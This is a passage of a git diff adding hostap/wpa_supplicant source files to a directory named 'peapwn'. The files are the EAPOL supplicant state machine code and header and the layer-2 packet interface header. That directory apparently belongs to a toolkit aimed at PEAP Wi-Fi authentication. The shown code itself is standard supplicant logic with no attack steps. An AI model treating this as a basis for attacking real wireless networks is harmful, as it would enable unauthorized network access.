fail); + sm->eapFail = fail; + sm->altReject = fail; + eapol_sm_step(sm); +} + + +/** + * eapol_sm_notify_config - Notification of EAPOL configuration change + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * @config: Pointer to current network EAP configuration + * @conf: Pointer to EAPOL configuration data + * + * Notify EAPOL state machine that configuration has changed. config will be + * stored as a backpointer to network configuration. This can be %NULL to clear + * the stored pointed. conf will be copied to local EAPOL/EAP configuration + * data. If conf is %NULL, this part of the configuration change will be + * skipped. + */ +void eapol_sm_notify_config(struct eapol_sm *sm, + struct eap_peer_config *config, + const struct eapol_config *conf) +{ + if (sm == NULL) + return; + + sm->config = config; +#ifdef CONFIG_EAP_PROXY + sm->use_eap_proxy = eap_proxy_notify_config(sm->eap_proxy, config) > 0; +#endif /* CONFIG_EAP_PROXY */ + + if (conf == NULL) + return; + + sm->conf.accept_802_1x_keys = conf->accept_802_1x_keys; + sm->conf.required_keys = conf->required_keys; + sm->conf.fast_reauth = conf->fast_reauth; + sm->conf.workaround = conf->workaround; +#ifdef CONFIG_EAP_PROXY + if (sm->use_eap_proxy) { + /* Using EAP Proxy, so skip EAP state machine update */ + return; + } +#endif /* CONFIG_EAP_PROXY */ + if (sm->eap) { + eap_set_fast_reauth(sm->eap, conf->fast_reauth); + eap_set_workaround(sm->eap, conf->workaround); + eap_set_force_disabled(sm->eap, conf->eap_disabled); + eap_set_external_sim(sm->eap, conf->external_sim); + } +} + + +/** + * eapol_sm_get_key - Get master session key (MSK) from EAP + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * @key: Pointer for key buffer + * @len: Number of bytes to copy to key + * Returns: 0 on success (len of key available), maximum available key len + * (>0) if key is available but it is shorter than len, or -1 on failure. + * + * Fetch EAP keying material (MSK, eapKeyData) from EAP state machine. The key + * is available only after a successful authentication. + */ +int eapol_sm_get_key(struct eapol_sm *sm, u8 *key, size_t len) +{ + const u8 *eap_key; + size_t eap_len; + +#ifdef CONFIG_EAP_PROXY + if (sm->use_eap_proxy) { + /* Get key from EAP proxy */ + if (sm == NULL || !eap_proxy_key_available(sm->eap_proxy)) { + wpa_printf(MSG_DEBUG, "EAPOL: EAP key not available"); + return -1; + } + eap_key = eap_proxy_get_eapKeyData(sm->eap_proxy, &eap_len); + if (eap_key == NULL) { + wpa_printf(MSG_DEBUG, "EAPOL: Failed to get " + "eapKeyData"); + return -1; + } + goto key_fetched; + } +#endif /* CONFIG_EAP_PROXY */ + if (sm == NULL || !eap_key_available(sm->eap)) { + wpa_printf(MSG_DEBUG, "EAPOL: EAP key not available"); + return -1; + } + eap_key = eap_get_eapKeyData(sm->eap, &eap_len); + if (eap_key == NULL) { + wpa_printf(MSG_DEBUG, "EAPOL: Failed to get eapKeyData"); + return -1; + } +#ifdef CONFIG_EAP_PROXY +key_fetched: +#endif /* CONFIG_EAP_PROXY */ + if (len > eap_len) { + wpa_printf(MSG_DEBUG, "EAPOL: Requested key length (%lu) not " + "available (len=%lu)", + (unsigned long) len, (unsigned long) eap_len); + return eap_len; + } + os_memcpy(key, eap_key, len); + wpa_printf(MSG_DEBUG, "EAPOL: Successfully fetched key (len=%lu)", + (unsigned long) len); + return 0; +} + + +/** + * eapol_sm_notify_logoff - Notification of logon/logoff commands + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * @logoff: Whether command was logoff + * + * Notify EAPOL state machines that user requested logon/logoff. + */ +void eapol_sm_notify_logoff(struct eapol_sm *sm, Boolean logoff) +{ + if (sm) { + sm->userLogoff = logoff; + if (!logoff) { + /* If there is a delayed txStart queued, start now. */ + sm->startWhen = 0; + } + eapol_sm_step(sm); + } +} + + +/** + * eapol_sm_notify_pmkid_attempt - Notification of successful PMKSA caching + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * + * Notify EAPOL state machines that PMKSA caching was successful. This is used + * to move EAPOL and EAP state machines into authenticated/successful state. + */ +void eapol_sm_notify_cached(struct eapol_sm *sm) +{ + if (sm == NULL) + return; + wpa_printf(MSG_DEBUG, "EAPOL: PMKSA caching was used - skip EAPOL"); + sm->eapSuccess = TRUE; + eap_notify_success(sm->eap); + eapol_sm_step(sm); +} + + +/** + * eapol_sm_notify_pmkid_attempt - Notification of PMKSA caching + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * @attempt: Whether PMKSA caching is tried + * + * Notify EAPOL state machines whether PMKSA caching is used. + */ +void eapol_sm_notify_pmkid_attempt(struct eapol_sm *sm, int attempt) +{ + if (sm == NULL) + return; + if (attempt) { + wpa_printf(MSG_DEBUG, "RSN: Trying to use cached PMKSA"); + sm->cached_pmk = TRUE; + } else { + wpa_printf(MSG_DEBUG, "RSN: Do not try to use cached PMKSA"); + sm->cached_pmk = FALSE; + } +} + + +static void eapol_sm_abort_cached(struct eapol_sm *sm) +{ + wpa_printf(MSG_DEBUG, "RSN: Authenticator did not accept PMKID, " + "doing full EAP authentication"); + if (sm == NULL) + return; + sm->cached_pmk = FALSE; + sm->SUPP_PAE_state = SUPP_PAE_CONNECTING; + sm->suppPortStatus = Unauthorized; + eapol_sm_set_port_unauthorized(sm); + + /* Make sure we do not start sending EAPOL-Start frames first, but + * instead move to RESTART state to start EAPOL authentication. */ + sm->startWhen = 3; + eapol_enable_timer_tick(sm); + + if (sm->ctx->aborted_cached) + sm->ctx->aborted_cached(sm->ctx->ctx); +} + + +/** + * eapol_sm_register_scard_ctx - Notification of smart card context + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * @ctx: Context data for smart card operations + * + * Notify EAPOL state machines of context data for smart card operations. This + * context data will be used as a parameter for scard_*() functions. + */ +void eapol_sm_register_scard_ctx(struct eapol_sm *sm, void *ctx) +{ + if (sm) { + sm->ctx->scard_ctx = ctx; + eap_register_scard_ctx(sm->eap, ctx); + } +} + + +/** + * eapol_sm_notify_portControl - Notification of portControl changes + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * @portControl: New value for portControl variable + * + * Notify EAPOL state machines that portControl variable has changed. + */ +void eapol_sm_notify_portControl(struct eapol_sm *sm, PortControl portControl) +{ + if (sm == NULL) + return; + wpa_printf(MSG_DEBUG, "EAPOL: External notification - " + "portControl=%s", eapol_port_control(portControl)); + sm->portControl = portControl; + eapol_sm_step(sm); +} + + +/** + * eapol_sm_notify_ctrl_attached - Notification of attached monitor + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * + * Notify EAPOL state machines that a monitor was attached to the control + * interface to trigger re-sending of pending requests for user input. + */ +void eapol_sm_notify_ctrl_attached(struct eapol_sm *sm) +{ + if (sm == NULL) + return; + eap_sm_notify_ctrl_attached(sm->eap); +} + + +/** + * eapol_sm_notify_ctrl_response - Notification of received user input + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * + * Notify EAPOL state machines that a control response, i.e., user + * input, was received in order to trigger retrying of a pending EAP request. + */ +void eapol_sm_notify_ctrl_response(struct eapol_sm *sm) +{ + if (sm == NULL) + return; + if (sm->eapReqData && !sm->eapReq) { + wpa_printf(MSG_DEBUG, "EAPOL: received control response (user " + "input) notification - retrying pending EAP " + "Request"); + sm->eapolEap = TRUE; + sm->eapReq = TRUE; + eapol_sm_step(sm); + } +} + + +/** + * eapol_sm_request_reauth - Request reauthentication + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * + * This function can be used to request EAPOL reauthentication, e.g., when the + * current PMKSA entry is nearing expiration. + */ +void eapol_sm_request_reauth(struct eapol_sm *sm) +{ + if (sm == NULL || sm->SUPP_PAE_state != SUPP_PAE_AUTHENTICATED) + return; + eapol_sm_txStart(sm); +} + + +/** + * eapol_sm_notify_lower_layer_success - Notification of lower layer success + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * @in_eapol_sm: Whether the caller is already running inside EAPOL state + * machine loop (eapol_sm_step()) + * + * Notify EAPOL (and EAP) state machines that a lower layer has detected a + * successful authentication. This is used to recover from dropped EAP-Success + * messages. + */ +void eapol_sm_notify_lower_layer_success(struct eapol_sm *sm, int in_eapol_sm) +{ + if (sm == NULL) + return; + eap_notify_lower_layer_success(sm->eap); + if (!in_eapol_sm) + eapol_sm_step(sm); +} + + +/** + * eapol_sm_invalidate_cached_session - Mark cached EAP session data invalid + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + */ +void eapol_sm_invalidate_cached_session(struct eapol_sm *sm) +{ + if (sm) + eap_invalidate_cached_session(sm->eap); +} + + +static struct eap_peer_config * eapol_sm_get_config(void *ctx) +{ + struct eapol_sm *sm = ctx; + return sm ? sm->config : NULL; +} + + +static struct wpabuf * eapol_sm_get_eapReqData(void *ctx) +{ + struct eapol_sm *sm = ctx; + if (sm == NULL || sm->eapReqData == NULL) + return NULL; + + return sm->eapReqData; +} + + +static Boolean eapol_sm_get_bool(void *ctx, enum eapol_bool_var variable) +{ + struct eapol_sm *sm = ctx; + if (sm == NULL) + return FALSE; + switch (variable) { + case EAPOL_eapSuccess: + return sm->eapSuccess; + case EAPOL_eapRestart: + return sm->eapRestart; + case EAPOL_eapFail: + return sm->eapFail; + case EAPOL_eapResp: + return sm->eapResp; + case EAPOL_eapNoResp: + return sm->eapNoResp; + case EAPOL_eapReq: + return sm->eapReq; + case EAPOL_portEnabled: + return sm->portEnabled; + case EAPOL_altAccept: + return sm->altAccept; + case EAPOL_altReject: + return sm->altReject; + } + return FALSE; +} + + +static void eapol_sm_set_bool(void *ctx, enum eapol_bool_var variable, + Boolean value) +{ + struct eapol_sm *sm = ctx; + if (sm == NULL) + return; + switch (variable) { + case EAPOL_eapSuccess: + sm->eapSuccess = value; + break; + case EAPOL_eapRestart: + sm->eapRestart = value; + break; + case EAPOL_eapFail: + sm->eapFail = value; + break; + case EAPOL_eapResp: + sm->eapResp = value; + break; + case EAPOL_eapNoResp: + sm->eapNoResp = value; + break; + case EAPOL_eapReq: + sm->eapReq = value; + break; + case EAPOL_portEnabled: + sm->portEnabled = value; + break; + case EAPOL_altAccept: + sm->altAccept = value; + break; + case EAPOL_altReject: + sm->altReject = value; + break; + } +} + + +static unsigned int eapol_sm_get_int(void *ctx, enum eapol_int_var variable) +{ + struct eapol_sm *sm = ctx; + if (sm == NULL) + return 0; + switch (variable) { + case EAPOL_idleWhile: + return sm->idleWhile; + } + return 0; +} + + +static void eapol_sm_set_int(void *ctx, enum eapol_int_var variable, + unsigned int value) +{ + struct eapol_sm *sm = ctx; + if (sm == NULL) + return; + switch (variable) { + case EAPOL_idleWhile: + sm->idleWhile = value; + if (sm->idleWhile > 0) + eapol_enable_timer_tick(sm); + break; + } +} + + +static void eapol_sm_set_config_blob(void *ctx, struct wpa_config_blob *blob) +{ +#ifndef CONFIG_NO_CONFIG_BLOBS + struct eapol_sm *sm = ctx; + if (sm && sm->ctx && sm->ctx->set_config_blob) + sm->ctx->set_config_blob(sm->ctx->ctx, blob); +#endif /* CONFIG_NO_CONFIG_BLOBS */ +} + + +static const struct wpa_config_blob * +eapol_sm_get_config_blob(void *ctx, const char *name) +{ +#ifndef CONFIG_NO_CONFIG_BLOBS + struct eapol_sm *sm = ctx; + if (sm && sm->ctx && sm->ctx->get_config_blob) + return sm->ctx->get_config_blob(sm->ctx->ctx, name); + else + return NULL; +#else /* CONFIG_NO_CONFIG_BLOBS */ + return NULL; +#endif /* CONFIG_NO_CONFIG_BLOBS */ +} + + +static void eapol_sm_notify_pending(void *ctx) +{ + struct eapol_sm *sm = ctx; + if (sm == NULL) + return; + if (sm->eapReqData && !sm->eapReq) { + wpa_printf(MSG_DEBUG, "EAPOL: received notification from EAP " + "state machine - retrying pending EAP Request"); + sm->eapolEap = TRUE; + sm->eapReq = TRUE; + eapol_sm_step(sm); + } +} + + +#if defined(CONFIG_CTRL_IFACE) || !defined(CONFIG_NO_STDOUT_DEBUG) +static void eapol_sm_eap_param_needed(void *ctx, enum wpa_ctrl_req_type field, + const char *txt) +{ + struct eapol_sm *sm = ctx; + wpa_printf(MSG_DEBUG, "EAPOL: EAP parameter needed"); + if (sm->ctx->eap_param_needed) + sm->ctx->eap_param_needed(sm->ctx->ctx, field, txt); +} +#else /* CONFIG_CTRL_IFACE || !CONFIG_NO_STDOUT_DEBUG */ +#define eapol_sm_eap_param_needed NULL +#endif /* CONFIG_CTRL_IFACE || !CONFIG_NO_STDOUT_DEBUG */ + +static void eapol_sm_notify_cert(void *ctx, int depth, const char *subject, + const char *cert_hash, + const struct wpabuf *cert) +{ + struct eapol_sm *sm = ctx; + if (sm->ctx->cert_cb) + sm->ctx->cert_cb(sm->ctx->ctx, depth, subject, + cert_hash, cert); +} + + +static void eapol_sm_notify_status(void *ctx, const char *status, + const char *parameter) +{ + struct eapol_sm *sm = ctx; + + if (sm->ctx->status_cb) + sm->ctx->status_cb(sm->ctx->ctx, status, parameter); +} + + +static void eapol_sm_set_anon_id(void *ctx, const u8 *id, size_t len) +{ + struct eapol_sm *sm = ctx; + + if (sm->ctx->set_anon_id) + sm->ctx->set_anon_id(sm->ctx->ctx, id, len); +} + + +static struct eapol_callbacks eapol_cb = +{ + eapol_sm_get_config, + eapol_sm_get_bool, + eapol_sm_set_bool, + eapol_sm_get_int, + eapol_sm_set_int, + eapol_sm_get_eapReqData, + eapol_sm_set_config_blob, + eapol_sm_get_config_blob, + eapol_sm_notify_pending, + eapol_sm_eap_param_needed, + eapol_sm_notify_cert, + eapol_sm_notify_status, + eapol_sm_set_anon_id +}; + + +/** + * eapol_sm_init - Initialize EAPOL state machine + * @ctx: Pointer to EAPOL context data; this needs to be an allocated buffer + * and EAPOL state machine will free it in eapol_sm_deinit() + * Returns: Pointer to the allocated EAPOL state machine or %NULL on failure + * + * Allocate and initialize an EAPOL state machine. + */ +struct eapol_sm *eapol_sm_init(struct eapol_ctx *ctx) +{ + struct eapol_sm *sm; + struct eap_config conf; + sm = os_zalloc(sizeof(*sm)); + if (sm == NULL) + return NULL; + sm->ctx = ctx; + + sm->portControl = Auto; + + /* Supplicant PAE state machine */ + sm->heldPeriod = 60; + sm->startPeriod = 30; + sm->maxStart = 3; + + /* Supplicant Backend state machine */ + sm->authPeriod = 30; + + os_memset(&conf, 0, sizeof(conf)); + conf.opensc_engine_path = ctx->opensc_engine_path; + conf.pkcs11_engine_path = ctx->pkcs11_engine_path; + conf.pkcs11_module_path = ctx->pkcs11_module_path; + conf.wps = ctx->wps; + conf.cert_in_cb = ctx->cert_in_cb; + + sm->eap = eap_peer_sm_init(sm, &eapol_cb, sm->ctx->msg_ctx, &conf); + if (sm->eap == NULL) { + os_free(sm); + return NULL; + } + +#ifdef CONFIG_EAP_PROXY + sm->use_eap_proxy = FALSE; + sm->eap_proxy = eap_proxy_init(sm, &eapol_cb, sm->ctx->msg_ctx); + if (sm->eap_proxy == NULL) { + wpa_printf(MSG_ERROR, "Unable to initialize EAP Proxy"); + } +#endif /* CONFIG_EAP_PROXY */ + + /* Initialize EAPOL state machines */ + sm->initialize = TRUE; + eapol_sm_step(sm); + sm->initialize = FALSE; + eapol_sm_step(sm); + + sm->timer_tick_enabled = 1; + eloop_register_timeout(1, 0, eapol_port_timers_tick, NULL, sm); + + return sm; +} + + +/** + * eapol_sm_deinit - Deinitialize EAPOL state machine + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * + * Deinitialize and free EAPOL state machine. + */ +void eapol_sm_deinit(struct eapol_sm *sm) +{ + if (sm == NULL) + return; + eloop_cancel_timeout(eapol_sm_step_timeout, NULL, sm); + eloop_cancel_timeout(eapol_port_timers_tick, NULL, sm); + eap_peer_sm_deinit(sm->eap); +#ifdef CONFIG_EAP_PROXY + eap_proxy_deinit(sm->eap_proxy); +#endif /* CONFIG_EAP_PROXY */ + os_free(sm->last_rx_key); + wpabuf_free(sm->eapReqData); + os_free(sm->ctx); + os_free(sm); +} + + +void eapol_sm_set_ext_pw_ctx(struct eapol_sm *sm, + struct ext_password_data *ext) +{ + if (sm && sm->eap) + eap_sm_set_ext_pw_ctx(sm->eap, ext); +} + + +int eapol_sm_failed(struct eapol_sm *sm) +{ + if (sm == NULL) + return 0; + return !sm->eapSuccess && sm->eapFail; +} + + +int eapol_sm_get_eap_proxy_imsi(struct eapol_sm *sm, char *imsi, size_t *len) +{ +#ifdef CONFIG_EAP_PROXY + if (sm->eap_proxy == NULL) + return -1; + return eap_proxy_get_imsi(sm->eap_proxy, imsi, len); +#else /* CONFIG_EAP_PROXY */ + return -1; +#endif /* CONFIG_EAP_PROXY */ +} diff --git a/peapwn/mods/hostap/src/eapol_supp/eapol_supp_sm.h b/peapwn/mods/hostap/src/eapol_supp/eapol_supp_sm.h new file mode 100644 index 000000000..54e8a2711 --- /dev/null +++ b/peapwn/mods/hostap/src/eapol_supp/eapol_supp_sm.h @@ -0,0 +1,397 @@ +/* + * EAPOL supplicant state machines + * Copyright (c) 2004-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAPOL_SUPP_SM_H +#define EAPOL_SUPP_SM_H + +#include "common/defs.h" + +typedef enum { Unauthorized, Authorized } PortStatus; +typedef enum { Auto, ForceUnauthorized, ForceAuthorized } PortControl; + +/** + * struct eapol_config - Per network configuration for EAPOL state machines + */ +struct eapol_config { + /** + * accept_802_1x_keys - Accept IEEE 802.1X (non-WPA) EAPOL-Key frames + * + * This variable should be set to 1 when using EAPOL state machines + * with non-WPA security policy to generate dynamic WEP keys. When + * using WPA, this should be set to 0 so that WPA state machine can + * process the EAPOL-Key frames. + */ + int accept_802_1x_keys; + +#define EAPOL_REQUIRE_KEY_UNICAST BIT(0) +#define EAPOL_REQUIRE_KEY_BROADCAST BIT(1) + /** + * required_keys - Which EAPOL-Key packets are required + * + * This variable determines which EAPOL-Key packets are required before + * marking connection authenticated. This is a bit field of + * EAPOL_REQUIRE_KEY_UNICAST and EAPOL_REQUIRE_KEY_BROADCAST flags. + */ + int required_keys; + + /** + * fast_reauth - Whether fast EAP reauthentication is enabled + */ + int fast_reauth; + + /** + * workaround - Whether EAP workarounds are enabled + */ + unsigned int workaround; + + /** + * eap_disabled - Whether EAP is disabled + */ + int eap_disabled; + + /** + * external_sim - Use external processing for SIM/USIM operations + */ + int external_sim; +}; + +struct eapol_sm; +struct wpa_config_blob; + +/** + * struct eapol_ctx - Global (for all networks) EAPOL state machine context + */ +struct eapol_ctx { + /** + * ctx - Pointer to arbitrary upper level context + */ + void *ctx; + + /** + * preauth - IEEE 802.11i/RSN pre-authentication + * + * This EAPOL state machine is used for IEEE 802.11i/RSN + * pre-authentication + */ + int preauth; + + /** + * cb - Function to be called when EAPOL negotiation has been completed + * @eapol: Pointer to EAPOL state machine data + * @success: Whether the authentication was completed successfully + * @ctx: Pointer to context data (cb_ctx) + * + * This optional callback function will be called when the EAPOL + * authentication has been completed. This allows the owner of the + * EAPOL state machine to process the key and terminate the EAPOL state + * machine. Currently, this is used only in RSN pre-authentication. + */ + void (*cb)(struct eapol_sm *eapol, int success, void *ctx); + + /** + * cb_ctx - Callback context for cb() + */ + void *cb_ctx; + + /** + * msg_ctx - Callback context for wpa_msg() calls + */ + void *msg_ctx; + + /** + * scard_ctx - Callback context for PC/SC scard_*() function calls + * + * This context can be updated with eapol_sm_register_scard_ctx(). + */ + void *scard_ctx; + + /** + * eapol_send_ctx - Callback context for eapol_send() calls + */ + void *eapol_send_ctx; + + /** + * eapol_done_cb - Function to be called at successful completion + * @ctx: Callback context (ctx) + * + * This function is called at the successful completion of EAPOL + * authentication. If dynamic WEP keys are used, this is called only + * after all the expected keys have been received. + */ + void (*eapol_done_cb)(void *ctx); + + /** + * eapol_send - Send EAPOL packets + * @ctx: Callback context (eapol_send_ctx) + * @type: EAPOL type (IEEE802_1X_TYPE_*) + * @buf: Pointer to EAPOL payload + * @len: Length of the EAPOL payload + * Returns: 0 on success, -1 on failure + */ + int (*eapol_send)(void *ctx, int type, const u8 *buf, size_t len); + + /** + * set_wep_key - Configure WEP keys + * @ctx: Callback context (ctx) + * @unicast: Non-zero = unicast, 0 = multicast/broadcast key + * @keyidx: Key index (0..3) + * @key: WEP key + * @keylen: Length of the WEP key + * Returns: 0 on success, -1 on failure + */ + int (*set_wep_key)(void *ctx, int unicast, int keyidx, + const u8 *key, size_t keylen); + + /** + * set_config_blob - Set or add a named configuration blob + * @ctx: Callback context (ctx) + * @blob: New value for the blob + * + * Adds a new configuration blob or replaces the current value of an + * existing blob. + */ + void (*set_config_blob)(void *ctx, struct wpa_config_blob *blob); + + /** + * get_config_blob - Get a named configuration blob + * @ctx: Callback context (ctx) + * @name: Name of the blob + * Returns: Pointer to blob data or %NULL if not found + */ + const struct wpa_config_blob * (*get_config_blob)(void *ctx, + const char *name); + + /** + * aborted_cached - Notify that cached PMK attempt was aborted + * @ctx: Callback context (ctx) + */ + void (*aborted_cached)(void *ctx); + + /** + * opensc_engine_path - Path to the OpenSSL engine for opensc + * + * This is an OpenSSL specific configuration option for loading OpenSC + * engine (engine_opensc.so); if %NULL, this engine is not loaded. + */ + const char *opensc_engine_path; + + /** + * pkcs11_engine_path - Path to the OpenSSL engine for PKCS#11 + * + * This is an OpenSSL specific configuration option for loading PKCS#11 + * engine (engine_pkcs11.so); if %NULL, this engine is not loaded. + */ + const char *pkcs11_engine_path; + + /** + * pkcs11_module_path - Path to the OpenSSL OpenSC/PKCS#11 module + * + * This is an OpenSSL specific configuration option for configuring + * path to OpenSC/PKCS#11 engine (opensc-pkcs11.so); if %NULL, this + * module is not loaded. + */ + const char *pkcs11_module_path; + + /** + * wps - WPS context data + * + * This is only used by EAP-WSC and can be left %NULL if not available. + */ + struct wps_context *wps; + + /** + * eap_param_needed - Notify that EAP parameter is needed + * @ctx: Callback context (ctx) + * @field: Field indicator (e.g., WPA_CTRL_REQ_EAP_IDENTITY) + * @txt: User readable text describing the required parameter + */ + void (*eap_param_needed)(void *ctx, enum wpa_ctrl_req_type field, + const char *txt); + + /** + * port_cb - Set port authorized/unauthorized callback (optional) + * @ctx: Callback context (ctx) + * @authorized: Whether the supplicant port is now in authorized state + */ + void (*port_cb)(void *ctx, int authorized); + + /** + * cert_cb - Notification of a peer certificate + * @ctx: Callback context (ctx) + * @depth: Depth in certificate chain (0 = server) + * @subject: Subject of the peer certificate + * @cert_hash: SHA-256 hash of the certificate + * @cert: Peer certificate + */ + void (*cert_cb)(void *ctx, int depth, const char *subject, + const char *cert_hash, const struct wpabuf *cert); + + /** + * cert_in_cb - Include server certificates in callback + */ + int cert_in_cb; + + /** + * status_cb - Notification of a change in EAP status + * @ctx: Callback context (ctx) + * @status: Step in the process of EAP authentication + * @parameter: Step-specific parameter, e.g., EAP method name + */ + void (*status_cb)(void *ctx, const char *status, + const char *parameter); + + /** + * set_anon_id - Set or add anonymous identity + * @ctx: eapol_ctx from eap_peer_sm_init() call + * @id: Anonymous identity (e.g., EAP-SIM pseudonym) + * @len: Length of anonymous identity in octets + */ + void (*set_anon_id)(void *ctx, const u8 *id, size_t len); +}; + + +struct eap_peer_config; +struct ext_password_data; + +#ifdef IEEE8021X_EAPOL +struct eapol_sm *eapol_sm_init(struct eapol_ctx *ctx); +void eapol_sm_deinit(struct eapol_sm *sm); +void eapol_sm_step(struct eapol_sm *sm); +int eapol_sm_get_status(struct eapol_sm *sm, char *buf, size_t buflen, + int verbose); +int eapol_sm_get_mib(struct eapol_sm *sm, char *buf, size_t buflen); +void eapol_sm_configure(struct eapol_sm *sm, int heldPeriod, int authPeriod, + int startPeriod, int maxStart); +int eapol_sm_rx_eapol(struct eapol_sm *sm, const u8 *src, const u8 *buf, + size_t len); +void eapol_sm_notify_tx_eapol_key(struct eapol_sm *sm); +void eapol_sm_notify_portEnabled(struct eapol_sm *sm, Boolean enabled); +void eapol_sm_notify_portValid(struct eapol_sm *sm, Boolean valid); +void eapol_sm_notify_eap_success(struct eapol_sm *sm, Boolean success); +void eapol_sm_notify_eap_fail(struct eapol_sm *sm, Boolean fail); +void eapol_sm_notify_config(struct eapol_sm *sm, + struct eap_peer_config *config, + const struct eapol_config *conf); +int eapol_sm_get_key(struct eapol_sm *sm, u8 *key, size_t len); +void eapol_sm_notify_logoff(struct eapol_sm *sm, Boolean logoff); +void eapol_sm_notify_cached(struct eapol_sm *sm); +void eapol_sm_notify_pmkid_attempt(struct eapol_sm *sm, int attempt); +void eapol_sm_register_scard_ctx(struct eapol_sm *sm, void *ctx); +void eapol_sm_notify_portControl(struct eapol_sm *sm, PortControl portControl); +void eapol_sm_notify_ctrl_attached(struct eapol_sm *sm); +void eapol_sm_notify_ctrl_response(struct eapol_sm *sm); +void eapol_sm_request_reauth(struct eapol_sm *sm); +void eapol_sm_notify_lower_layer_success(struct eapol_sm *sm, int in_eapol_sm); +void eapol_sm_invalidate_cached_session(struct eapol_sm *sm); +const char * eapol_sm_get_method_name(struct eapol_sm *sm); +void eapol_sm_set_ext_pw_ctx(struct eapol_sm *sm, + struct ext_password_data *ext); +int eapol_sm_failed(struct eapol_sm *sm); +int eapol_sm_get_eap_proxy_imsi(struct eapol_sm *sm, char *imsi, size_t *len); +#else /* IEEE8021X_EAPOL */ +static inline struct eapol_sm *eapol_sm_init(struct eapol_ctx *ctx) +{ + free(ctx); + return (struct eapol_sm *) 1; +} +static inline void eapol_sm_deinit(struct eapol_sm *sm) +{ +} +static inline void eapol_sm_step(struct eapol_sm *sm) +{ +} +static inline int eapol_sm_get_status(struct eapol_sm *sm, char *buf, + size_t buflen, int verbose) +{ + return 0; +} +static inline int eapol_sm_get_mib(struct eapol_sm *sm, char *buf, + size_t buflen) +{ + return 0; +} +static inline void eapol_sm_configure(struct eapol_sm *sm, int heldPeriod, + int authPeriod, int startPeriod, + int maxStart) +{ +} +static inline int eapol_sm_rx_eapol(struct eapol_sm *sm, const u8 *src, + const u8 *buf, size_t len) +{ + return 0; +} +static inline void eapol_sm_notify_tx_eapol_key(struct eapol_sm *sm) +{ +} +static inline void eapol_sm_notify_portEnabled(struct eapol_sm *sm, + Boolean enabled) +{ +} +static inline void eapol_sm_notify_portValid(struct eapol_sm *sm, + Boolean valid) +{ +} +static inline void eapol_sm_notify_eap_success(struct eapol_sm *sm, + Boolean success) +{ +} +static inline void eapol_sm_notify_eap_fail(struct eapol_sm *sm, Boolean fail) +{ +} +static inline void eapol_sm_notify_config(struct eapol_sm *sm, + struct eap_peer_config *config, + struct eapol_config *conf) +{ +} +static inline int eapol_sm_get_key(struct eapol_sm *sm, u8 *key, size_t len) +{ + return -1; +} +static inline void eapol_sm_notify_logoff(struct eapol_sm *sm, Boolean logoff) +{ +} +static inline void eapol_sm_notify_cached(struct eapol_sm *sm) +{ +} +#define eapol_sm_notify_pmkid_attempt(sm, attempt) do { } while (0) +#define eapol_sm_register_scard_ctx(sm, ctx) do { } while (0) +static inline void eapol_sm_notify_portControl(struct eapol_sm *sm, + PortControl portControl) +{ +} +static inline void eapol_sm_notify_ctrl_attached(struct eapol_sm *sm) +{ +} +static inline void eapol_sm_notify_ctrl_response(struct eapol_sm *sm) +{ +} +static inline void eapol_sm_request_reauth(struct eapol_sm *sm) +{ +} +static inline void eapol_sm_notify_lower_layer_success(struct eapol_sm *sm, + int in_eapol_sm) +{ +} +static inline void eapol_sm_invalidate_cached_session(struct eapol_sm *sm) +{ +} +static inline const char * eapol_sm_get_method_name(struct eapol_sm *sm) +{ + return NULL; +} +static inline void eapol_sm_set_ext_pw_ctx(struct eapol_sm *sm, + struct ext_password_data *ext) +{ +} +static inline int eapol_sm_failed(struct eapol_sm *sm) +{ + return 0; +} +#endif /* IEEE8021X_EAPOL */ + +#endif /* EAPOL_SUPP_SM_H */ diff --git a/peapwn/mods/hostap/src/l2_packet/Makefile b/peapwn/mods/hostap/src/l2_packet/Makefile new file mode 100644 index 000000000..adfd3dfd5 --- /dev/null +++ b/peapwn/mods/hostap/src/l2_packet/Makefile @@ -0,0 +1,8 @@ +all: + @echo Nothing to be made. + +clean: + rm -f *~ *.o *.d *.gcno *.gcda *.gcov + +install: + @echo Nothing to be made. diff --git a/peapwn/mods/hostap/src/l2_packet/l2_packet.h b/peapwn/mods/hostap/src/l2_packet/l2_packet.h new file mode 100644 index 000000000..dd825b568 --- /dev/null +++ b/peapwn/mods/hostap/src/l2_packet/l2_packet.h @@ -0,0 +1,124 @@ +/* + * WPA Supplicant - Layer2 packet interface definition + * Copyright (c) 2003-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * This file defines an interface for layer 2 (link layer) packet sending and + * receiving. l2_packet_linux.c is one implementation for such a layer 2 + * implementation using Linux packet sockets and l2_packet_pcap.c another one + * using libpcap and libdnet. When porting %wpa_supplicant to other operating + * systems, a new l2_packet implementation may need to be added. + */ + +#ifndef L2_PACKET_H +#define L2_PACKET_H + +/** + * struct l2_packet_data - Internal l2_packet data structure + * + * This structure is used by the l2_packet implementation to store its private + * data. Other files use a pointer to this data when calling the l2_packet + * functions, but the contents of this structure should not be used directly + * outside l2_packet implementation. + */ +struct l2_packet_data; + +#ifdef _MSC_VER +#pragma pack(push, 1) +#endif /* _MSC_VER */ + +struct l2_ethhdr { + u8 h_dest[ETH_ALEN]; + u8 h_source[ETH_ALEN]; + be16 h_proto; +} STRUCT_PACKED; + +#ifdef _MSC_VER +#pragma pack(pop) +#endif /* _MSC_VER */ + +/** + * l2_packet_init - Initialize l2_packet interface + * @ifname: Interface name + * @own_addr: Optional own MAC address if available from driver interface or + * %NULL if not available + * @protocol: Ethernet protocol number in host byte order + * @rx_callback: Callback function that will be called for each received packet + * @rx_callback_ctx: Callback data (ctx) for calls to rx_callback() + * @l2_hdr: 1 = include layer 2 header, 0 = do not include header + * Returns: Pointer to internal data or %NULL on failure + * + * rx_callback function will be called with src_addr pointing to the source + * address (MAC address) of the the packet. If 